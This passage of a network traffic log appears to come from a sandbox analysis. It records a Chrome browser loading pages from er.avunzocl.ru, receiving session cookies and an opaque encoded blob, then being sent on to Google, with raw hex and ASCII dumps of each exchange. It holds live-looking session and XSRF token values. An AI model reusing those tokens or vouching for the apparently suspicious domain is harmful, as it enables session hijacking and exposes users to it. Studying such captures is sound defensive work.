XSRF-TOKEN=eyJpdiI6Ikx2TzdYUTFwTmRYdUZMSVg5TC83Z3c9PSIsInZhbHVlIjoid0RkZkovdWkreGJvaVBYb1BFaE5yR0pwU3NRcVIySHBBNk4rdVhURXN2Y2tjUlU1UXdlTFp3TGVnVTNEL1VxSjY5U3cyMkxFalFPTkZ2bWpmUEkzci9sREhzQkpnNDFJMEFtNnh5aDlBalZJWmc3VE1OLzNlZFp5d2hEazRTQXUiLCJtYWMiOiI5ODQ2NTFkNTA2OTA3ZDQxNTMwOGZjZmQ2NjYxNzcwZjMwMzI5MTgxZDQyMjFlMDhlMzIyOWQ4OWQ3ZDBhMzNkIiwidGFnIjoiIn0%3D; expires=Thu, 20-Mar-2025 20:34:14 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-20 18:34:14 UTC	768	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 52 33 52 48 5a 78 4f 46 59 33 4c 32 67 77 57 47 4e 74 56 7a 64 49 56 56 46 73 51 30 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 62 7a 4a 73 51 33 6c 4a 52 54 4e 70 62 32 45 79 63 58 46 72 4d 6e 68 58 54 48 70 59 4d 57 74 7a 63 46 52 59 5a 6b 5a 4a 4d 45 6c 72 61 6d 52 55 4d 47 78 54 54 45 6c 48 55 33 6c 32 4f 56 59 72 51 32 52 4a 52 7a 6c 54 53 6e 56 36 4d 30 74 71 51 58 46 6a 59 6d 52 57 4b 32 46 71 65 47 39 35 53 30 4e 30 55 54 45 76 54 32 6c 7a 61 47 77 30 4f 56 52 30 54 31 64 75 4f 57 68 75 61 30 31 56 61 31 5a 74 4c 7a 56 35 54 33 52 6c 56 55 74 68 65 43 74 51 62 6a 63 72 4e 31 42 58 59 55 6c 6b 62 6d 30 77 63 56 68 68 52 30 49 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6InR3RHZxOFY3L2gwWGNtVzdIVVFsQ0E9PSIsInZhbHVlIjoibzJsQ3lJRTNpb2EycXFrMnhXTHpYMWtzcFRYZkZJMElramRUMGxTTElHU3l2OVYrQ2RJRzlTSnV6M0tqQXFjYmRWK2FqeG95S0N0UTEvT2lzaGw0OVR0T1duOWhua01Va1ZtLzV5T3RlVUtheCtQbjcrN1BXYUlkbm0wcVhhR0I
2025-03-20 18:34:14 UTC	295	IN	Data Raw: 31 32 30 0d 0a 7b 22 61 22 3a 22 4b 70 71 76 39 35 77 68 48 47 46 77 70 2b 46 56 57 63 46 59 64 4b 4a 7a 75 57 36 79 70 45 61 62 30 4f 54 55 31 47 53 44 41 36 5a 4b 77 30 77 69 4a 55 31 71 30 37 45 46 62 4a 64 70 45 5c 2f 56 63 4b 2b 56 33 46 7a 71 54 7a 33 77 6e 74 46 7a 64 43 4d 78 43 4c 37 2b 50 47 55 57 42 5c 2f 67 35 42 70 49 59 34 64 54 38 6a 47 42 64 45 51 64 59 4b 5c 2f 38 32 68 44 76 62 38 51 70 5a 54 42 5a 4a 2b 22 2c 22 62 22 3a 22 33 30 35 66 30 39 39 36 36 38 35 33 61 62 61 36 38 30 63 31 38 36 63 30 62 61 64 36 64 65 37 36 22 2c 22 63 22 3a 22 32 65 33 34 65 38 32 30 35 65 38 33 34 65 32 64 30 63 62 38 30 39 62 62 37 63 37 66 66 34 39 38 22 2c 22 64 22 3a 22 36 33 33 39 33 39 33 38 33 39 33 31 33 39 33 38 33 34 33 34 33 35 36 35 33 31 33 32 Data Ascii: 120{"a":"Kpqv95whHGFwp+FVWcFYdKJzuW6ypEab0OTU1GSDA6ZKw0wiJU1q07EFbJdpE\/VcK+V3FzqTz3wntFzdCMxCL7+PGUWB\/g5BpIY4dT8jGBdEQdYK\/82hDvb8QpZTBZJ+","b":"305f09966853aba680c186c0bad6de76","c":"2e34e8205e834e2d0cb809bb7c7ff498","d":"6339393839313938343435653132
2025-03-20 18:34:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 18:34:12 UTC	1319	OUT	GET /favicon.ico HTTP/1.1 Host: er.avunzocl.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://er.avunzocl.ru/hhtc/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Im1TcWxHaFFRWUxHNWgrZnZ4NkZHeXc9PSIsInZhbHVlIjoiVUtXdThtRmh4OUxuZURTMHVZbkpqYXFNYkM0U2IxM2NJekU2TTgycnVUWTBueVZFZmZ4UmY0aXZtd1R2VFFVYjNCNE5IbmNIcDA0bW56cFNENnV0Ull0eXJQd1piRmZpdXZlT1RjK1pwK09iV0dja096eXRZMVFLd2N5a040UjUiLCJtYWMiOiJmYzVjMDVkOWFjNTZhMDAzMmQxYTIwZDhiOTczNDdmYzZlYmMyMDAxNzk1ZWRkODMzZWVjMmNmYjc0OWY5NzBiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkRFM2p6a01kVzNwRTR4cEQwaDhTY2c9PSIsInZhbHVlIjoiZXdzdmdjNUNBeWxwLzdLSHlHcWhWc0hrdjRZbFhpZ0t0MkI4ckFmY3cyWlZRdHRCMmZLNS9uZ0pXdjhnT1Evc2sxUU9LZTNyUXdSTytOTUdsQWFwd2svREx0Z05PYnJmTVpqVCthSG5Pa1JVTEx1Mnd0SXppMGU5eGlvbldPNWoiLCJtYWMiOiIwZTVlMWFkYTBlMTVhNDg0MGEwODk5NDlmMWY3NjkzMTA1MDEwYzdiZWEwMjJkN2FlZTVlM2I2Y2ZhYzE4ZjE3IiwidGFnIjoiIn0%3D
2025-03-20 18:34:14 UTC	1066	IN	HTTP/1.1 404 Not Found Date: Thu, 20 Mar 2025 18:34:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PP3QG6eZsdZoGj%2FZXlAe%2BLf%2BcC4eS98Fjgzuuhk0jCo8LPL1hQtU0tpBKCP6z2TLQwzrV15vQ17Jhv3zmebYKY%2BptfsTCb514BqSnlZllb9IzQslhPlWZ81w02kXtQexff9e"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=5611&min_rtt=5481&rtt_var=2316&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2229&delivery_rate=436608&cwnd=251&unsent_bytes=0&cid=04c623b025502cc7&ts=26&x=0" Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Server: cloudflare CF-RAY: 92374d61fd592f06-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=103330&min_rtt=101712&rtt_var=23892&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1891&delivery_rate=34939&cwnd=224&unsent_bytes=0&cid=789ed1c91db6ca2b&ts=2338&x=0"
2025-03-20 18:34:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 18:34:12 UTC	920	OUT	GET / HTTP/1.1 Host: www.google.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Browser-Channel: stable X-Browser-Year: 2025 X-Browser-Validation: wTKGXmLo+sPWz1JKKbFzUyHly1Q= X-Browser-Copyright: Copyright 2025 Google LLC. All rights reserved. X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQE= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://er.avunzocl.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 18:34:13 UTC	1860	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 18:34:12 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-9_PZMFb_h1TUXXbyXvZ5GQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hp Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Downlink Accept-CH: RTT Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Document-Policy: expect-no-linked-resources P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; expires=Tue, 16-Sep-2025 18:34:13 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=lax Set-Cookie: NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY; expires=Fri, 19-Sep-2025 18:34:12 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-03-20 18:34:13 UTC	1860	IN	Data Raw: 32 31 62 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 74 65 6d 73 63 6f 70 65 3d 22 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 22 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 67 2f 31 78 2f 67 6f 6f 67 6c 65 67 5f 73 74 61 6e 64 61 72 64 5f 63 6f 6c 6f 72 5f 31 32 38 64 70 2e 70 6e 67 22 20 69 74 65 6d 70 72 6f 70 3d 22 69 6d 61 67 65 22 3e 3c 74 69 74 6c 65 3e Data Ascii: 21be<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta charset="UTF-8"><meta content="origin" name="referrer"><meta content="/images/branding/googleg/1x/googleg_standard_color_128dp.png" itemprop="image"><title>
2025-03-20 18:34:13 UTC	1860	IN	Data Raw: 67 6c 65 2e 79 5b 63 5d 3d 5b 61 2c 62 5d 3b 72 65 74 75 72 6e 21 31 7d 29 3b 76 61 72 20 65 3b 28 65 3d 67 6f 6f 67 6c 65 29 2e 73 78 7c 7c 28 65 2e 73 78 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 73 79 2e 70 75 73 68 28 61 29 7d 29 3b 67 6f 6f 67 6c 65 2e 6c 6d 3d 5b 5d 3b 76 61 72 20 66 3b 28 66 3d 67 6f 6f 67 6c 65 29 2e 70 6c 6d 7c 7c 28 66 2e 70 6c 6d 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 6c 6d 2e 70 75 73 68 2e 61 70 70 6c 79 28 67 6f 6f 67 6c 65 2e 6c 6d 2c 61 29 7d 29 3b 67 6f 6f 67 6c 65 2e 6c 71 3d 5b 5d 3b 76 61 72 20 67 3b 28 67 3d 67 6f 6f 67 6c 65 29 2e 6c 6f 61 64 7c 7c 28 67 2e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 67 6f 6f 67 6c 65 2e 6c 71 2e 70 75 73 68 28 5b 5b 61 5d 2c Data Ascii: gle.y[c]=[a,b];return!1});var e;(e=google).sx\|\|(e.sx=function(a){google.sy.push(a)});google.lm=[];var f;(f=google).plm\|\|(f.plm=function(a){google.lm.push.apply(google.lm,a)});google.lq=[];var g;(g=google).load\|\|(g.load=function(a,b,c){google.lq.push([[a],
2025-03-20 18:34:13 UTC	1860	IN	Data Raw: 69 73 2e 67 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 64 65 66 65 72 72 65 64 22 29 3b 74 68 69 73 2e 42 3d 61 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 6e 6f 61 66 74 22 29 3b 74 68 69 73 2e 6a 3d 21 21 62 3b 69 66 28 62 3d 21 74 68 69 73 2e 6a 29 61 3a 7b 66 6f 72 28 62 3d 30 3b 62 3c 78 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 69 66 28 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 22 2b 78 5b 62 5d 29 29 7b 62 3d 21 30 3b 62 72 65 61 6b 20 61 7d 62 3d 21 31 7d 74 68 69 73 2e 6c 3d 62 3b 28 62 3d 61 2e 73 72 63 29 26 26 74 68 69 73 2e 6c 26 26 28 74 68 69 73 2e 44 3d 62 29 3b 21 74 68 69 73 2e 6c 26 26 62 7c 7c 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 6c 7a 79 5f 22 2c 22 31 22 29 3b Data Ascii: is.g.getAttribute("data-deferred");this.B=a.hasAttribute("data-noaft");this.j=!!b;if(b=!this.j)a:{for(b=0;b<x.length;++b)if(a.getAttribute("data-"+x[b])){b=!0;break a}b=!1}this.l=b;(b=a.src)&&this.l&&(this.D=b);!this.l&&b\|\|a.setAttribute("data-lzy_","1");
2025-03-20 18:34:13 UTC	1860	IN	Data Raw: 5d 26 26 67 6f 6f 67 6c 65 2e 6d 6c 28 45 72 72 6f 72 28 22 62 22 29 2c 21 31 2c 7b 6d 3a 61 7d 29 3b 64 5b 61 5d 3d 21 30 7d 3b 67 6f 6f 67 6c 65 2e 63 2e 75 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 64 3d 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 2e 6c 6f 61 64 2e 6d 2c 63 3d 21 30 3b 69 66 28 64 5b 61 5d 29 7b 66 6f 72 28 76 61 72 20 62 3d 47 5b 61 5d 7c 7c 5b 5d 2c 65 3d 30 3b 65 3c 62 2e 6c 65 6e 67 74 68 3b 2b 2b 65 29 74 72 79 7b 62 5b 65 5d 28 29 7d 63 61 74 63 68 28 68 29 7b 67 6f 6f 67 6c 65 2e 6d 6c 28 68 2c 21 31 29 7d 62 2e 6c 65 6e 67 74 68 3d 30 3b 64 5b 61 5d 3d 21 31 3b 66 6f 72 28 76 61 72 20 6b 20 69 6e 20 64 29 64 5b 6b 5d 26 26 28 63 3d 21 31 29 7d 65 6c 73 65 7b 63 3d 22 22 3b 66 6f 72 28 62 20 69 6e 20 64 29 63 2b 3d 62 2b 22 Data Ascii: ]&&google.ml(Error("b"),!1,{m:a});d[a]=!0};google.c.u=function(a){var d=google.timers.load.m,c=!0;if(d[a]){for(var b=G[a]\|\|[],e=0;e<b.length;++e)try{b[e]()}catch(h){google.ml(h,!1)}b.length=0;d[a]=!1;for(var k in d)d[k]&&(c=!1)}else{c="";for(b in d)c+=b+"
2025-03-20 18:34:13 UTC	1206	IN	Data Raw: 6f 76 65 72 66 6c 6f 77 3d 3d 3d 22 68 69 64 64 65 6e 22 29 62 72 65 61 6b 20 62 3b 62 3d 6e 75 6c 6c 7d 28 65 3d 62 29 3f 28 62 3d 61 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 2c 65 3d 65 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 2c 62 3d 62 2e 62 6f 74 74 6f 6d 3c 65 2e 74 6f 70 7c 7c 62 2e 74 6f 70 3e 3d 65 2e 62 6f 74 74 6f 6d 7c 7c 62 2e 72 69 67 68 74 3c 65 2e 6c 65 66 74 7c 7c 62 2e 6c 65 66 74 3e 3d 65 2e 72 69 67 68 74 29 3a 62 3d 21 31 3b 69 66 28 62 29 64 3d 30 3b 65 6c 73 65 7b 62 3d 61 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 3b 76 61 72 20 68 3d 62 2e 6c 65 66 74 2b 28 64 3f 30 3a 77 69 6e 64 6f 77 2e 70 61 67 65 58 4f 66 66 73 65 74 29 3b 65 3d 62 2e Data Ascii: overflow==="hidden")break b;b=null}(e=b)?(b=a.getBoundingClientRect(),e=e.getBoundingClientRect(),b=b.bottom<e.top\|\|b.top>=e.bottom\|\|b.right<e.left\|\|b.left>=e.right):b=!1;if(b)d=0;else{b=a.getBoundingClientRect();var h=b.left+(d?0:window.pageXOffset);e=b.
2025-03-20 18:34:13 UTC	210	IN	Data Raw: 63 63 0d 0a 2d 6b 2c 30 29 29 3b 62 3e 30 26 26 28 63 2e 67 73 61 73 72 74 3d 64 2e 74 2e 73 74 61 72 74 2d 62 29 3b 64 3d 64 2e 65 3b 61 3d 22 2f 67 65 6e 5f 32 30 34 3f 73 3d 22 2b 67 6f 6f 67 6c 65 2e 73 6e 2b 22 26 74 3d 22 2b 61 2b 22 26 61 74 79 70 3d 63 73 69 26 65 69 3d 22 2b 67 6f 6f 67 6c 65 2e 6b 45 49 2b 22 26 72 74 3d 22 3b 68 3d 22 22 3b 66 6f 72 28 76 61 72 20 67 20 69 6e 20 63 29 61 2b 3d 22 22 2b 68 2b 67 2b 22 2e 22 2b 63 5b 67 5d 2c 68 3d 22 2c 22 3b 66 6f 72 28 76 61 72 20 66 20 69 6e 20 64 29 61 2b 3d 22 26 22 2b 66 2b 22 3d 22 2b 64 5b 66 5d 3b 67 3d 22 22 3b 6c 2e 5f 63 73 68 69 64 26 26 28 67 0d 0a Data Ascii: cc-k,0));b>0&&(c.gsasrt=d.t.start-b);d=d.e;a="/gen_204?s="+google.sn+"&t="+a+"&atyp=csi&ei="+google.kEI+"&rt=";h="";for(var g in c)a+=""+h+g+"."+c[g],h=",";for(var f in d)a+="&"+f+"="+d[f];g="";l._cshid&&(g
2025-03-20 18:34:13 UTC	1220	IN	Data Raw: 38 30 30 30 0d 0a 2b 3d 22 26 63 73 68 69 64 3d 22 2b 0a 6c 2e 5f 63 73 68 69 64 29 3b 28 66 3d 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 26 26 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 2e 6b 4f 50 49 7c 7c 6e 75 6c 6c 29 26 26 28 67 2b 3d 22 26 6f 70 69 3d 22 2b 66 29 3b 61 2b 3d 67 3b 28 67 3d 67 6f 6f 67 6c 65 2e 73 74 76 73 63 29 26 26 28 61 2b 3d 22 26 73 73 72 3d 31 22 29 3b 69 66 28 67 3f 67 2e 69 73 42 46 3a 50 28 29 3d 3d 3d 32 29 61 2b 3d 22 26 62 62 3d 31 22 3b 50 28 29 3d 3d 3d 31 26 26 28 61 2b 3d 22 26 72 3d 31 22 29 3b 22 67 73 61 73 72 74 22 69 6e 20 63 26 26 28 63 3d 51 28 22 71 73 64 22 29 2c 63 3e 30 26 26 28 61 2b 3d 22 26 71 73 64 3d 22 2b 63 29 29 3b 61 3a 7b 69 66 28 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 26 26 77 69 6e 64 Data Ascii: 8000+="&cshid="+l._cshid);(f=window.google&&window.google.kOPI\|\|null)&&(g+="&opi="+f);a+=g;(g=google.stvsc)&&(a+="&ssr=1");if(g?g.isBF:P()===2)a+="&bb=1";P()===1&&(a+="&r=1");"gsasrt"in c&&(c=Q("qsd"),c>0&&(a+="&qsd="+c));a:{if(window.performance&&wind
2025-03-20 18:34:13 UTC	1220	IN	Data Raw: 29 29 72 65 74 75 72 6e 21 31 3b 69 66 28 66 2e 41 29 72 65 74 75 72 6e 2b 2b 68 2c 21 66 2e 42 3b 7a 28 66 29 26 34 26 26 28 67 3d 21 30 29 3b 66 2e 6a 26 26 2b 2b 6b 3b 2b 2b 65 3b 72 65 74 75 72 6e 21 30 7d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 77 28 22 69 6d 61 22 2c 65 29 3b 77 28 22 69 6d 61 64 22 2c 6b 29 3b 77 28 22 69 6d 61 63 22 2c 68 29 3b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 49 62 37 45 66 63 22 29 2e 6c 65 6e 67 74 68 26 26 77 28 22 64 64 6c 22 2c 31 29 3b 77 28 22 77 68 22 2c 63 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 66 29 7b 66 26 26 0a 76 28 22 61 66 74 69 22 2c 66 29 3b 56 3e 30 26 26 76 28 22 61 66 74 73 22 2c 57 29 3b 76 61 72 20 71 3d 57 3b 66 26 26 28 66 3e 71 7c 7c 67 29 26 26 Data Ascii: ))return!1;if(f.A)return++h,!f.B;z(f)&4&&(g=!0);f.j&&++k;++e;return!0},function(){w("ima",e);w("imad",k);w("imac",h);document.getElementsByClassName("Ib7Efc").length&&w("ddl",1);w("wh",c)},function(f){f&&v("afti",f);V>0&&v("afts",W);var q=W;f&&(f>q\|\|g)&&
2025-03-20 18:34:13 UTC	1220	IN	Data Raw: 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 62 2c 21 31 29 2c 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 62 2c 21 31 29 29 3a 77 69 6e 64 6f 77 2e 61 74 74 61 63 68 45 76 65 6e 74 26 26 77 69 6e 64 6f 77 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 6c 6f 61 64 22 2c 62 29 3b 7d 29 2e 63 61 6c 6c 28 74 68 69 73 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 5b 5d 3b 67 6f 6f 67 6c 65 2e 6a 73 63 3d 7b 78 78 3a 62 2c 78 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 62 2e 70 75 73 68 28 61 29 7d 2c 6d 6d 3a 5b 5d 2c 6d 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 6a 73 63 2e 6d 6d 2e 6c 65 6e 67 74 68 7c 7c 28 67 6f 6f 67 6c 65 2e 6a 73 63 Data Ascii: ntListener("DOMContentLoaded",b,!1),window.addEventListener("load",b,!1)):window.attachEvent&&window.attachEvent("onload",b);}).call(this);(function(){var b=[];google.jsc={xx:b,x:function(a){b.push(a)},mm:[],m:function(a){google.jsc.mm.length\|\|(google.jsc
2025-03-20 18:34:13 UTC	1220	IN	Data Raw: 6f 70 79 20 64 62 6c 63 6c 69 63 6b 20 62 65 66 6f 72 65 69 6e 70 75 74 20 69 6e 70 75 74 20 6b 65 79 75 70 20 6b 65 79 64 6f 77 6e 20 6b 65 79 70 72 65 73 73 20 6d 6f 75 73 65 64 6f 77 6e 20 6d 6f 75 73 65 65 6e 74 65 72 20 6d 6f 75 73 65 6c 65 61 76 65 20 6d 6f 75 73 65 6d 6f 76 65 20 6d 6f 75 73 65 6f 75 74 20 6d 6f 75 73 65 6f 76 65 72 20 6d 6f 75 73 65 75 70 20 70 61 73 74 65 20 70 6f 69 6e 74 65 72 64 6f 77 6e 20 70 6f 69 6e 74 65 72 65 6e 74 65 72 20 70 6f 69 6e 74 65 72 6c 65 61 76 65 20 70 6f 69 6e 74 65 72 75 70 20 74 6f 75 63 68 73 74 61 72 74 20 74 6f 75 63 68 6d 6f 76 65 20 74 6f 75 63 68 65 6e 64 20 74 6f 75 63 68 63 61 6e 63 65 6c 20 74 72 61 6e 73 69 74 69 6f 6e 63 61 6e 63 65 6c 20 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 20 74 72 61 6e 73 Data Ascii: opy dblclick beforeinput input keyup keydown keypress mousedown mouseenter mouseleave mousemove mouseout mouseover mouseup paste pointerdown pointerenter pointerleave pointerup touchstart touchmove touchend touchcancel transitioncancel transitionend trans

Timestamp	Bytes transferred	Direction	Data
2025-03-20 18:34:13 UTC	1786	OUT	GET /xjs/_/ss/k=xjs.hd.3UF5emn0zs8.L.B1.O/am=CFEAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAARkJwAAAIAgADsAAgAAAgABAAAAAAEEAAAABEAAICEAAAYQAAAgAABgAgASAAgAAAACUxoAAAEAGAAAHAABIAEAACgAAACQAAAAAAAAAAIAAAACAAEw0BAQFUApABAAIAAIBAAABAAAGAKAEAAAOgAQgAEAhAAAgB4QCAAAAAAAAAIAAAAsADAYYQAEAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAQAEAAAAAAAAAAAAAAAAAAAAC/d=1/ed=1/br=1/rs=ACT90oFzVuhg8QPjSVAuF9eHRNKrML12nw/m=cdos,hsm,jsa,mb4ZUb,cEt90b,SNUn3,qddgKe,sTsDMc,dtl0hd,eHDfl,YV5bee,d,csi HTTP/1.1 Host: www.google.com Connection: keep-alive downlink: 0.4 sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-mobile: ?0 sec-ch-ua-form-factors: "Desktop" sec-ch-ua-wow64: ?0 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "134.0.6998.36" sec-ch-prefers-color-scheme: light User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 rtt: 300 sec-ch-ua-platform-version: "10.0.0" Accept: text/css,/;q=0.1 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY
